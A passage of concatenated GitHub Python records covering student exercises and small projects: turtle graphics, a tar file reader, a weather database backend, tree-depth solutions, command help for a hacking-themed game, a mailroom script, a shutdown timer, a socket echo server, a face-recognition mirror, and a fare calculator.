time.sleep(1)","repo_name":"reeteshsudhakar/quote-of-the-day","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1529282130","text":"import turtle\n\ndef petal(t, radius, angle):\n    for i in range(2):\n        t.circle(radius, angle)\n        t.left(180 - angle)\n        \ndef flower(t, n, radius, angle):\n    for i in range(n):\n        petal(t, radius, angle)\n        t.left(360.0 / n)\n        \ndef move(t, length):\n    window = turtle.Screen()\n    window.bgcolor(\"Yellow\")\n    t.pu()\n    t.fd(length)\n    t.pd()\n    \nanms = turtle.Turtle()\nanms.speed(100)\n\nanms.color(\"green\")\nanms.shape(\"turtle\")\nmove(anms, -150)\nanms.begin_fill()\nflower(anms, 7, 60.0, 60.0)\nanms.end_fill()\n\nanms.color(\"red\")\nmove(anms, 150)\nanms.begin_fill()\nflower(anms, 10, 30.0, 70.0)\nanms.end_fill()\n\nanms.color(\"blue\")\nmove(anms, 150)\nanms.begin_fill()\nflower(anms, 14, 70.0, 50.0)\nanms.end_fill()\n\nturtle.mainloop()\n","repo_name":"dharmanshu9930/Daa-","sub_path":"flowers.py","file_name":"flowers.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"38"}
{"seq_id":"33536645247","text":"# -*- coding: utf-8 -*-\n\"\"\"The tar extracted file-like object implementation.\"\"\"\n\n# Note: that tarfile.ExFileObject is not POSIX compliant for seeking\n# beyond the file size, hence it is wrapped in an instance of file_io.FileIO.\n\nimport os\n\nfrom dfvfs.file_io import file_io\nfrom dfvfs.resolver import resolver\n\n\nclass TarFile(file_io.FileIO):\n  \"\"\"Class that implements a file-like object using tarfile.\"\"\"\n\n  def __init__(self, resolver_context):\n    \"\"\"Initializes the file-like object.\n\n    Args:\n      resolver_context: the resolver context (instance of resolver.Context).\n    \"\"\"\n    super(TarFile, self).__init__(resolver_context)\n    self._current_offset = 0\n    self._file_system = None\n    self._size = 0\n    self._tar_ext_file = None\n\n  def _Close(self):\n    \"\"\"Closes the file-like object.\n\n       If the file-like object was passed in the init function\n       the data range file-like object does not control the file-like object\n       and should not actually close it.\n\n    Raises:\n      IOError: if the close failed.\n    \"\"\"\n    self._tar_ext_file.close()\n    self._tar_ext_file = None\n\n    self._file_system.Close()\n    self._file_system = None\n\n  def _Open(self, path_spec=None, mode='rb'):\n    \"\"\"Opens the file-like object defined by path specification.\n\n    Args:\n      path_spec: optional the path specification (instance of path.PathSpec).\n                 The default is None.\n      mode: optional file access mode. The default is 'rb' read-only binary.\n\n    Raises:\n      AccessError: if the access to open the file was denied.\n      IOError: if the file-like object could not be opened.\n      PathSpecError: if the path specification is incorrect.\n      ValueError: if the path specification is invalid.\n    \"\"\"\n    if not path_spec:\n      raise ValueError(u'Missing path specfication.')\n\n    file_system = resolver.Resolver.OpenFileSystem(\n        path_spec, resolver_context=self._resolver_context)\n\n    file_entry = file_system.GetFileEntryByPathSpec(path_spec)\n    if not file_entry:\n      file_system.Close()\n      raise IOError(u'Unable to retrieve file entry.')\n\n    self._file_system = file_system\n    tar_file = self._file_system.GetTarFile()\n    tar_info = file_entry.GetTarInfo()\n\n    self._tar_ext_file = tar_file.extractfile(tar_info)\n\n    self._current_offset = 0\n    self._size = tar_info.size\n\n  # Note: that the following functions do not follow the style guide\n  # because they are part of the file-like object interface.\n\n  def read(self, size=None):\n    \"\"\"Reads a byte string from the file-like object at the current offset.\n\n       The function will read a byte string of the specified size or\n       all of the remaining data if no size was specified.\n\n    Args:\n      size: optional integer value containing the number of bytes to read.\n            Default is all remaining data (None).\n\n    Returns:\n      A byte string containing the data read.\n\n    Raises:\n      IOError: if the read failed.\n    \"\"\"\n    if not self._is_open:\n      raise IOError(u'Not opened.')\n\n    if self._current_offset < 0:\n      raise IOError(u'Invalid current offset value less than zero.')\n\n    if self._current_offset > self._size:\n      return b''\n\n    if size is None or self._current_offset + size > self._size:\n      size = self._size - self._current_offset\n\n    self._tar_ext_file.seek(self._current_offset, os.SEEK_SET)\n\n    data = self._tar_ext_file.read(size)\n\n    # It is possible the that returned data size is not the same as the\n    # requested data size. At this layer we don't care and this discrepancy\n    # should be dealt with on a higher layer if necessary.\n    self._current_offset += len(data)\n\n    return data\n\n  def seek(self, offset, whence=os.SEEK_SET):\n    \"\"\"Seeks an offset within the file-like object.\n\n    Args:\n      offset: the offset to seek.\n      whence: optional value that indicates whether offset is an absolute\n              or relative position within the file. Default is SEEK_SET.\n\n    Raises:\n      IOError: if the seek failed.\n    \"\"\"\n    if not self._is_open:\n      raise IOError(u'Not opened.')\n\n    if whence == os.SEEK_CUR:\n      offset += self._current_offset\n    elif whence == os.SEEK_END:\n      offset += self._size\n    elif whence != os.SEEK_SET:\n      raise IOError(u'Unsupported whence.')\n\n    if offset < 0:\n      raise IOError(u'Invalid offset value less than zero.')\n    self._current_offset = offset\n\n  def get_offset(self):\n    \"\"\"Returns the current offset into the file-like object.\n\n    Raises:\n      IOError: if the file-like object has not been opened.\n    \"\"\"\n    if not self._is_open:\n      raise IOError(u'Not opened.')\n\n    return self._current_offset\n\n  def get_size(self):\n    \"\"\"Returns the size of the file-like object.\n\n    Raises:\n      IOError: if the file-like object has not been opened.\n    \"\"\"\n    if not self._is_open:\n      raise IOError(u'Not opened.')\n\n    return self._size\n","repo_name":"akiraaisha/dfvfs","sub_path":"dfvfs/file_io/tar_file_io.py","file_name":"tar_file_io.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"28948661637","text":"\"\"\"Backend part of the weather application.\"\"\"\nimport sqlite3\nimport csv\nimport sys\nimport os\nimport datetime\nimport unidecode\n\n\ndata_file = \"data.csv\"\n\n\ndef file_reader(data_file):\n    \"\"\"Open CSV file and appends data to a list.\"\"\"\n    ext = ext_check(data_file)\n    if ext:\n        with open(data_file, 'r', encoding='utf-8') as csv_file:\n            reader = csv.reader(csv_file, delimiter=';')\n            data = []\n            for row in reader:\n                data.append(row)\n            return data\n    elif not ext:\n        return \"File is not in the correct format\"\n\n\ndef ext_check(file):\n    \"\"\"Check if extension is csv.\"\"\"\n    ext = os.path.splitext(file)\n    if ext[1] == '.csv':\n        return True\n    else:\n        return False\n\n\ndef process_file(file):\n    \"\"\"Insert values from uploaded file.\"\"\"\n    file = os.path.join('instance', file)\n    data = file_reader(file)\n    db = access_db()\n    c = db.cursor()\n    if type(data) is list:\n        attribute_id = insert_values_to_attribute_table(data, c)\n        insert_values_to_datapoints_table(data, c, attribute_id)\n        db.commit()\n        close_db(db)\n        return \"File uploaded succesfully!\"\n    else:\n        close_db(db)\n        return data\n\n\ndef get_attributes():\n    \"\"\"Get attributes from table.\"\"\"\n    db = access_db()\n    c = db.cursor()\n    sqlite_get_data = \"\"\"SELECT Name, DisplayName FROM Attributes;\"\"\"\n    attr_data = c.execute(sqlite_get_data)\n    data_to_return = []\n    for row in attr_data:\n        data_to_return.append({\"name\": row[0], \"displayName\": row[1]})\n    close_db(db)\n    return data_to_return\n\n\ndef get_data(filters):\n    \"\"\"Get data from databases using filters.\"\"\"\n    db = access_db()\n    c = db.cursor()\n    data = c.execute(\n        \"SELECT ID, Unit FROM Attributes WHERE Name = ?\", (filters[\"Argument\"],))\n    for bit in data:\n        attr_id = bit[0]\n        unit = bit[1]\n    dates = filters[\"timeArgument\"]\n    if filters[\"timeIntervallType\"] == \"TIME_INTERVALL\":\n        start_date = dates[0]\n        start_date = start_date.split(\"-\")\n        start_date[0] = int(start_date[0])\n        start_date[1] = int(start_date[1])\n        start_date[2] = int(start_date[2])\n        end_date = dates[1]\n        end_date = end_date.split(\"-\")\n        end_date[0] = int(end_date[0])\n        end_date[1] = int(end_date[1])\n        end_date[2] = int(end_date[2])\n        sql_get_data = \"\"\"SELECT * FROM Datapoints WHERE (Year >= ? AND Month >= ? AND (Day >= ? OR Month != ? OR Year != ?))\n                         AND (Year < ? OR (Year = ? AND Month <= ? AND (Day <= ? OR Month != ?))) AND AttributeID = ?;\"\"\"\n        datapoints_to_return = c.execute(sql_get_data, (start_date[0], start_date[1],\n                                                        start_date[2], start_date[1], start_date[0],\n                                                        end_date[0], end_date[0], end_date[1], end_date[2], end_date[1], attr_id))\n        data_to_return = []\n        for data in datapoints_to_return:\n            data_to_return.append({\"id\": data[0],\n                                   \"year\": int(data[1]),\n                                   \"month\": int(data[2]),\n                                   \"day\": int(data[3]),\n                                   \"time\": int(data[4]),\n                                   \"value\": data[5],\n                                   \"unit\": unit\n                                   })\n        close_db(db)\n        return data_to_return\n    elif filters[\"timeIntervallType\"] == \"MONTH\":\n        month = dates[0]\n        month = int(month)\n        sql_get_data = \"SELECT * FROM Datapoints WHERE Month = ? AND AttributeID = ?;\"\n        datapoints_to_return = c.execute(\n            sql_get_data, (month, attr_id))\n        data_to_return = []\n        for data in datapoints_to_return:\n            data_to_return.append({\"id\": data[0],\n                                   \"year\": int(data[1]),\n                                   \"month\": int(data[2]),\n                                   \"day\": int(data[3]),\n                                   \"time\": int(data[4]),\n                                   \"value\": data[5],\n                                   \"unit\": unit\n                                   })\n        close_db(db)\n        return data_to_return\n    close_db(db)\n\n\ndef insert_values_to_datapoints_table(data, c, attribute_id):\n    \"\"\"Seperate string of data into comma seperated values.\n    and add to datapoint table.\n    \"\"\"\n    date_index = 0\n    for row in data:\n        if len(row) != 0 and row[0] == \"Datum\" and row[1] == \"Tid (UTC)\":\n            date_index = data.index(row)\n    for row in range((date_index + 1), len(data)):\n        date = datetime.datetime.fromisoformat(data[row][0])\n        time = datetime.datetime.strptime(data[row][1], '%H:%M:%S')\n        sql_insert = \"INSERT INTO Datapoints(Year, Month, Day, Time, Value, AttributeID) VALUES ( ?, ?, ?, ?, ?, ?)\"\n        c.execute(sql_insert, (date.year, date.month, date.day,\n                               time.hour, data[row][2], str(attribute_id)))\n\n\ndef insert_values_to_attribute_table(data, c):\n    \"\"\"Check for special characters and replace with english alphabet\n    (if necessary) and add to datapoint table.\"\"\"\n    parameter_index_column = 0\n    attribute_index_column = 0\n    parameter_index_row = 0\n    attribute_index_row = 0\n    string_to_add = \"\"\n    for row in data:\n        if len(row) != 0 and \"Parameternamn\" in row:\n            parameter_index_column = row.index(\"Parameternamn\")\n            parameter_index_row = data.index(row)\n            break\n    for row in data:\n        if len(row) != 0 and \"Enhet\" in row:\n            attribute_index_column = row.index(\"Enhet\")\n            attribute_index_row = data.index(row)\n            break\n    sql_insert = \" INSERT INTO Attributes (Name, DisplayName, Unit) VALUES ( ?, ?, ?)\"\n    c.execute(sql_insert, (unidecode.unidecode(data[parameter_index_row + 1][parameter_index_column]).lower(\n    ), data[parameter_index_row + 1][parameter_index_column], data[attribute_index_row + 1][attribute_index_column]))\n    return c.lastrowid\n\n\ndef access_db():\n    \"\"\"Retrieve database.\"\"\"\n    db = sqlite3.connect(\n        'instance\\\\weather_data.db',\n        detect_types=sqlite3.PARSE_DECLTYPES\n    )\n    db.row_factory = sqlite3.Row\n    return db\n\n\ndef close_db(db):\n    \"\"\"Close database connection.\"\"\"\n    db.close()\n\n\ndef initialize_database():\n    \"\"\"Creates database (if it does not exist).\"\"\"\n    sql_create_datapoints_table = \"\"\"CREATE TABLE IF NOT EXISTS Datapoints (\n        ID integer PRIMARY KEY,\n        Year integer,\n        Month integer,\n        Day integer,\n        Time integer,\n        Value real,\n        AttributeID integer);\"\"\"\n    sql_create_attributes_table = \"\"\"CREATE TABLE IF NOT EXISTS Attributes(\n        ID integer PRIMARY KEY,\n        Name text,\n        DisplayName text,\n        Unit text\n        );\"\"\"\n    db = access_db()\n    c = db.cursor()\n    c.execute(\"PRAGMA foreign_keys = ON;\")\n    attributes_table = c.execute(sql_create_attributes_table)\n    datapoints_table = c.execute(sql_create_datapoints_table)\n    db.commit()\n    list_of_values = file_reader(data_file)\n    attribute_id = insert_values_to_attribute_table(list_of_values, c)\n    insert_values_to_datapoints_table(list_of_values, c, attribute_id)\n    db.commit()\n    print('Database successfully created!')\n    close_db(db)\n\n\nif __name__ == '__main__':\n    globals()[sys.argv[1]]()\n","repo_name":"vigge93-BTH-courses/PA1450-Development-task","sub_path":"program/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":7441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"20987832717","text":"import sys\n\n\ndef main():\n    if len(sys.argv) < 2:\n        sys.exit(\"Too few command-line arguments\")\n    elif len(sys.argv) > 2:\n        sys.exit(\"Too many command-line arguments\")\n    if not sys.argv[1].endswith(\".py\"):\n        sys.exit(\"Not a Python file\")\n    i = 0\n    try:\n        with open(sys.argv[1], \"r\") as file:\n            lines = file.readlines()\n        for _ in lines:\n            if not _.strip().startswith(\"#\") and _.strip():\n                i += 1\n        print(i)\n    except FileNotFoundError:\n        sys.exit(\"File does not exist\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Javisanchezf/HarvardX-CS50P","sub_path":"Problem-set6/lines/lines.py","file_name":"lines.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22068421740","text":"\nclass Solution(object):\n    # recursive\n    def maxDepth(self,root):\n        if not root:\n            return 0\n        if not root.children: return 1\n        return max(self.maxDepth(node) for node in root.children) + 1\n\n    # BFS (use a queue, the last level we see will be the depth)\n    \n    def maxDepth2(self,root):\n        queue = []\n        if root:\n            queue.append((root,1))\n        depth = 0\n        for(node,level) in queue:\n            depth = level\n            queue +=[(child, level+1) for child in node.children]\n        return depth\n    \n\n    # DFS (use a stack, use max to update depth)\n    def maxDepth3(self,root):\n        stack =[]\n        if root: stack.append((root, 1))\n        while stack:\n            (node, d) = stack.pop()\n            depth = max(depth, d)\n            for child in node.children:\n                stack.append((child, d+1))\n        return depth\n\n\n\n","repo_name":"Nobodylesszb/LeetCode","sub_path":"python/binary_tree/559.maxDepthNary.py","file_name":"559.maxDepthNary.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8806630401","text":"import time\nimport sys\n\ndef delay_print(s):\n    for c in s:\n        sys.stdout.write(c)\n        sys.stdout.flush()\n        time.sleep(0.15)\n\ndef error_checking(command, size):\n   try:\n       command = command.replace(\".\", \"\")\n       command = int(command)\n\n   except ValueError:\n       print(\"You must choose one of the number options!\")\n       return -1\n\n   if (int(command) < 1) or (int(command) > size):\n       print(\"You must choose one of the number options!\")\n       return -1\n\n   return int(command)\n\ndef ls():\n    delay_print(\">help ls\\n\")\n    print(\"The 'ls' command displays all the directories and files in the current directory\")\n    input(\"Press enter to continue...\")\n\ndef cd():\n    delay_print(\">help cd\\n\")\n    print(\"The 'cd' command lets you choose a new directory to move to\")\n    print(\"Example: 'cd Pictures' changes to the Pictures directory\")\n    input(\"Press enter to continue...\")\n\ndef cat():\n    delay_print(\">help cat\\n\")\n    print(\"The 'cat' command lets you print a file's contents to the screen\")\n    print(\"Example: 'cat mypasswords.txt' will print any text in the file to this screen\")\n    input(\"Press enter to continue...\")\n\ndef ssh():\n    delay_print(\">help ssh\\n\")\n    print(\"The 'ssh' command allows you to switch to a different user on a network using the username and password\")\n    print(\"Example: 'ssh burd@192.168.0.2' will switch to burd on the 192.168.0.2 network\")\n    input(\"Press enter to continue...\")\n\ndef nmap():\n    delay_print(\">help nmap\\n\")\n    print(\"The 'nmap' command allows you to see all the services and ports running on an IP\")\n    print(\"Example: 'nmap burd@192.168.0.2' will show all the services and ports for the user burd\")\n\ndef helphelp():\n    delay_print(\">help help\\n\")\n    print(\"Seriously?... \\nThe 'help' command gives information on how to use different commands\")\n    input(\"Press enter to continue...\")\n\ndef level1main():\n    while True:\n        print(\"What command do you need help with? \\n1. ls \\n2. cd \\n3. cat \\n4. ssh \\n5. help \\n6. Go back\")\n        userinput = error_checking(input(\">\"), 5)\n        if userinput == -1:\n            return\n        if userinput == 1:\n            ls()\n        if userinput == 2:\n            cd()\n        if userinput == 3:\n            cat()\n        if userinput == 4:\n            ssh()\n        if userinput == 5:\n            help(1)\n        if userinput == 6:\n            return\ndef level2main():\n    while True:\n        print(\"What command do you need help with? \\n1. ls \\n2. cd \\n3. cat \\n4. ssh \\n5. nmap \\n6. help \\n7. Go back\")\n        userinput = error_checking(input(\">\"), 7)\n        if userinput == -1:\n            return\n        if userinput == 1:\n            ls()\n        if userinput == 2:\n            cd()\n        if userinput == 3:\n            cat()\n        if userinput == 4:\n            ssh()\n        if userinput == 5:\n            nmap()\n        if userinput == 6:\n            help(1)\n        if userinput == 7:\n            return\ndef level3main():\n    while True:\n        print(\"What command do you need help with? \\n1. ls \\n2. cd \\n3. cat \\n4. ssh \\n5. help \\n6. Go back\")\n        userinput = error_checking(input(\">\"), 6)\n        if userinput == -1:\n            return\n        if userinput == 1:\n            ls()\n        if userinput == 2:\n            cd()\n        if userinput == 3:\n            cat()\n        if userinput == 4:\n            ssh()\n        if userinput == 5:\n            help(1)\n        if userinput == 6:\n            return\n\ndef help (level):\n    if level == 1:\n        level1main()\n    if level == 2:\n        level2main()\n    if level == 3:\n        level3main()\n","repo_name":"CarrotShaver/pushthebutton","sub_path":"help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":3610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"114277350","text":"import os.path as path\n\ndef thank_you(donor_dict):\n    #Record single donation and thank donor\n    fullname = input('What is the full name of the donor? Type list to see donors. Type exit to quit task \\n')\n    if fullname.lower() == 'list':\n        print(list(donor_dict.keys()))\n    elif fullname.lower() == \"exit\":\n        return None\n    else:\n        #Find donor in list or create a new one\n        if fullname not in donor_dict:\n            donor_dict[fullname] = []\n        newdonation = float(input('What is the value of the donation (numbers only)?\\n'))\n        donor_dict[fullname].append(newdonation)\n\n        #Print the thank you email\n        print(f'Dear {fullname}, \\n Thank you for your generous donation. We appreciate the support from people like you. \\n Thank you,\\n Charity Name')\n\ndef create_report(donor_dict):\n    # Create report data from donor list\n    donor_report = dict()\n\n    for name in donor_dict:\n        donations = len(donor_dict[name])\n        # Add up all donations\n        total_given = sum(donor_dict[name])\n        avg_gift = total_given / donations\n        donor_report[name] = [total_given,donations,avg_gift]\n\n    name_lst = list(donor_report.keys())\n    name_lst_sorted = sorted(name_lst, key = lambda name:donor_report[name][0],reverse=True)\n\n    # Format report\n    header = ['Name', 'Total Given', '# of Gifts', 'Average Gift']\n    header_format = \"{:<20}\" + \"{:^15}\" + \"{:^15}\" + \"{:^10}\"\n    row_name_format = \"{:<20}\"\n    row_data_format = \"${:>15.2f}\" + \"{:^15}\" + \"${:>10.2f}\"\n\n    print(header_format.format(*header))\n    print('-' * 70)\n    for name in name_lst_sorted:\n        print(row_name_format.format(name) + row_data_format.format(*donor_report[name]))\n\ndef thank_all(donor_dict):\n    #Generates .txt files of Thank Yous for all donors\n    directory = input('What file path do you want the Thank You notes to be in? \\n')\n    for donor in donor_dict:\n        filename = donor.replace(\" \",\"\") + \".txt\"\n        full_filename = path.join(directory,filename)\n        with open(full_filename,'w') as f:\n            f.write(f'Dear {donor}, \\n Thank you for your generous donation. We appreciate the support from people like you. \\n Thank you,\\n Charity Name')\n\nif __name__ == \"__main__\":\n\n    #Donors\n    donor_dict = {'Luke Skywalker':[10,20,30], 'Leslie Knope':[100,300],'Dwight Schrute':[345,345345],'Freddie Mercury':[23532,32],'Jennifer Aniston':[235,2352]}\n\n    #MAIN\n    while True:\n        print(\"Options: \\n 1 - Send a Single Thank You \\n 2 - Create Report \\n 3 - Send all donors Thank You \\n 4 - Exit \")\n        response = input('What would you like to do?\\n')\n        switch_dict = {'1':thank_you,'2':create_report,'3':thank_all}\n\n        if response in switch_dict:\n            switch_dict[response](donor_dict)\n\n        #Exit Program\n        elif response =='4':\n            break\n\n        #Require valid input\n        else:\n            print(\"Please pick a valid option\")\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/randi_peterson/session04/mailroom.py","file_name":"mailroom.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"5518697171","text":"###################################################################\n#                                                                 #\n#         Contains sample problem generator for sample.in         #\n#                                                                 #\n###################################################################\n\nimport sys\n\nsys.path.append(\"../..\")\n\nimport src.mesh\nimport src.input\n\n\ndef sampleProblemGenerator(\n    pin: src.input.PsychoInput, pmesh: src.mesh.PsychoArray\n) -> None:\n    \"\"\"Generates the problem in by inputting the information to the problem mesh\n\n    This function is called in `main.py` and sets the initial conditions\n    specified in the problem input (pin) onto the problem mesh (pmesh).\n\n    Needs to exist for each problem type in order for everything to work.\n\n    Parameters\n    ----------\n    pin : PsychoInput\n        Contains the problem information stored in the PsychoInput\n        object\n\n    pmesh : PsychoArray\n        PsychoArray mesh which contains all of the current mesh information\n        and the conserved variables Un\n\n    \"\"\"\n\n    rho0 = pin.value_dict[\"rho0\"]\n    p0 = pin.value_dict[\"p0\"]\n    u0 = pin.value_dict[\"u0\"]\n    v0 = pin.value_dict[\"v0\"]\n\n    pmesh.Un[0, :, :] = rho0\n    pmesh.Un[1, :, :] = rho0 * u0\n    pmesh.Un[2, :, :] = rho0 * v0\n    # pmesh.arr[3,:,:] = rho0 * total energy\n\n    return\n","repo_name":"johnboerchers/psycho-i","sub_path":"src/pgen/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"8056106915","text":"import os\r\ncommandln = input(\"Input your command ('r' để khởi động lại máy/ 's' để tắt máy) \")\r\ntimewait = int(input(\"Nhập thời gian chờ \"))\r\nif commandln == 'r':\r\n    os.system(\"shutdown -t 0 -r -f {timewait}\")\r\nelif commandln == 's':\r\n    os.system(\"shutdown -s -t {timewait}\")\r\nelse:\r\n    print(\"Không hợp lí! \")\r\nstopcommandln = input(\"Bạn có muốn dừng không? (y/n) \")\r\nif stopcommandln == 'y':\r\n    os.system(\"shutdown -a\")\r\nelif stopcommandln == 'n':\r\n    print(\"Đã bỏ qua stopcommandln.\")\r\nelse:\r\n    print(\"\")\r\n\r\n\r\n","repo_name":"Quoc304/py","sub_path":"_T/tự động tắt máy và restart máy/exe.py","file_name":"exe.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"vi","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"3817667598","text":"import os\nimport socket\n\n\"\"\"\nTutorial\n\nSource: https://realpython.com/python-sockets/\n\"\"\"\n\nif __name__ == \"__main__\":\n    HOST = \"127.0.0.1\"  # localhost\n    PORT = 65432  \n\n    # Becasue socket.socket() creates a socket object that supports the context manager type, so you can use it in a with statement. There’s no need to call s.close():\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n        s.bind((HOST, PORT))\n        s.listen()\n\n        conn, addr = s.accept()  # Blocks and provides new socket\n\n        with conn:\n            print(f\"Connected by {addr}\")\n            while True:\n                data = conn.recv(1024)\n                if not data:\n                    break\n                conn.sendall(data) # Echoes back\n\n","repo_name":"rickyg365/python","sub_path":"sockets/examples/echo/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28580685864","text":"from tkinter import *\nfrom PIL import ImageTk, Image\nimport cv2\nimport csv\nimport face_recognition\nimport numpy as np\nimport pickle\nfrom numpy import savetxt\nimport datetime\nimport time\nimport os.path\n\n# Capture frames from Camera #\ncap = cv2.VideoCapture(0)\nmedText = 28\n\n\n# Initialise Variables for locations and encodings #\nface_locations = []\nface_encodings = []\nface_names = []\n\n# Security Path and time Ranges # \nimage_path = \"./security/\"\nstart = datetime.time(10, 15)\nend = datetime.time(11)\n\n\n\n# Some code used from https://github.com/ageitgey/face_recognition/blob/master/examples/facerec_from_webcam_faster.py # \n\nclass Cam(Frame):\n    def __init__(self, parent, event_name=\"\", *args, **kwargs):\n        Frame.__init__(self, parent, bg='black')\n        self.title = \"Unknown\"\n\n        # Shows name of user being detected #\n        self.infoText = \"Recognising Face: \"\n        self.info = Label(self, text=self.infoText, font=('Helvetica', medText), fg=\"blue\", bg=\"black\")\n        self.userName = Label(self, text=self.title, font=('Helvetica', medText), fg=\"white\", bg=\"black\")\n        if event_name != \"enable\":\n            self.info.pack(side=LEFT, anchor=W)\n        self.userName.pack(side=TOP, anchor=CENTER)\n        self.lmain = Label(self)\n\n        # Enable camera preview (enabled from Mirror.py) #\n        if event_name == \"enable\":\n            self.lmain.pack(side=TOP) \n        self.video()\n    \n    def readUserName(self):\n        return self.userName.cget(\"text\")\n\n    def video(self):\n        process_this_frame = True\n        # Reads pickle data from file that stores facial data # \n        with open('./webserver/dataset_faces.dat', 'rb') as f:\n            all_face_encodings = pickle.load(f)\n        known_face_encodings = np.array(list(all_face_encodings.values()))\n        known_face_names = list(all_face_encodings.keys())\n\n        # Open CV resizing and changing the colour of the frame #\n        ret, frame = cap.read()\n        small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n        rgb_small_frame = small_frame[:, :, ::-1]\n        if process_this_frame:\n            # Reading face locations and encodings #\n            face_locations = face_recognition.face_locations(rgb_small_frame)\n            face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n            face_names = []\n            name = \"No User Detected\"\n            self.userName.config(text = name)\n            # Checking if Face measurements match to ones in dataset_faces.dat #\n            for face_encoding in face_encodings:\n                matches = face_recognition.compare_faces(known_face_encodings, face_encoding)\n                name = \"Unknown\"\n                self.userName.config(text = name)\n                face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)\n                best_match_index = np.argmin(face_distances)\n                if matches[best_match_index]:\n                    name = known_face_names[best_match_index]\n                    self.userName.config(text = name)\n                else:\n                    # Unknown user detected during time range #\n                    timestamp = datetime.datetime.now().time()\n                    check = start <= timestamp <= end\n                    # If user is unknown and the time is in the time range - Save the frame #\n                    if check == True:\n                        timestamp2 = datetime.datetime.now()\n                        timestampStr = timestamp2.strftime(\"%d_%b_%Y__%H_%M_%S\")\n                        timestampStrFilePath = timestamp2.strftime(\"%d_%b_%Y\")\n                        directory = image_path + timestampStrFilePath + \"/\"\n                        if not os.path.isdir(directory):\n                            os.mkdir(directory)\n                        filename = timestampStr + \".jpg\"\n                        filepath = os.path.join(directory, filename)\n                        cv2.imwrite(filepath, frame)\n                face_names.append(name)\n        process_this_frame = not process_this_frame\n        # Used for Camera preview #\n        for (top, right, bottom, left), name in zip(face_locations, face_names):\n            top *= 4\n            right *= 4\n            bottom *= 4\n            left *= 4\n            cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n            cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)\n            font = cv2.FONT_HERSHEY_DUPLEX\n            cv2.putText(frame, name, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)   \n        img = Image.fromarray(frame)\n        imgtk = ImageTk.PhotoImage(image=img)\n        self.lmain.imgtk = imgtk\n        self.lmain.configure(image=imgtk)\n        self.lmain.after(1, self.video)\n    \n        \n       \n\n    \n    ","repo_name":"JVacation/JVacationSmartMirror","sub_path":"cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":4825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41196925661","text":"'''\nThomas Mullins\nDefinition: Write a program that calculates and displays information about a\nflight sale from MSP to CHI.\nFinal1.py\n5/9/19\n'''\n#Define main\nimport pyinputplus as pyip\ndef main():\n    #Exception handling\n    while True:\n        try:\n            tickets, bags = input1()\n            ticket_total, bag_total, total, tax, admin_fee, final_total, final_tax = processing1(tickets, bags)\n            output1(ticket_total, bag_total, total, tax, admin_fee, final_total, tickets, bags, final_tax)\n        except Exception as err:\n            print(err)\n        #Repeat function\n        answer = input('Would you like to run this program again? Enter Y or N: ')\n        while answer.upper() != 'Y' and answer.upper() != 'N':\n            answer = input('Please enter Y or N: ')\n\n        if answer.upper() == 'NO':\n            print(f'\\nThank for using the program')\n            break\n\ndef input1():\n    #User input\n    print('Welcome to Andy\\'s Flight Club!')\n    print('Limit of 4 tickets & 2 suitcases ($20ea) per passenger.\\n')\n    tickets = input('Enter the number of tickets up to 4: ')\n    #Validation for tickets\n    while tickets.isnumeric() is False or int(tickets) >= 5 or int(tickets) == 0:\n        tickets = input('\\t\\tEnter 1, 2, 3, 4 only: ')\n\n    #Validation for bags\n    bags = input('Enter the number of suitcases up to 2 per ticket: ')\n    bags_allowed = int(tickets)*2\n    while bags.isnumeric() is False or int(bags) < 0 or int(bags) > (int(tickets)*2):\n        bags = input(f'Enter 0 through {bags_allowed} for your {tickets} tickets:')\n\n    return tickets, bags\n\n\ndef processing1(tickets, bags):\n    #Processing all totals\n    ticket_total = tickets*123\n    ticket_total = float(ticket_total)\n    bag_total = bags*20\n    bag_total = float(bag_total)\n    total = bags+tickets\n    tax = 0.075 *total\n    final_tax = tax*100\n    final_tax = float(final_tax)\n    admin_fee = 10 * tickets\n    admin_fee = float(admin_fee)\n    final_total = total+tax+admin_fee\n\n    return ticket_total, bag_total, total, tax, admin_fee, final_total, final_tax\n#User output for all final prices\ndef output1(ticket_total, bag_total, total, tax, admin_fee, final_total, tickets, bags, final_tax):\n    print('\\nThanks for using Andy\\'s Flight Club Calculator!')\n    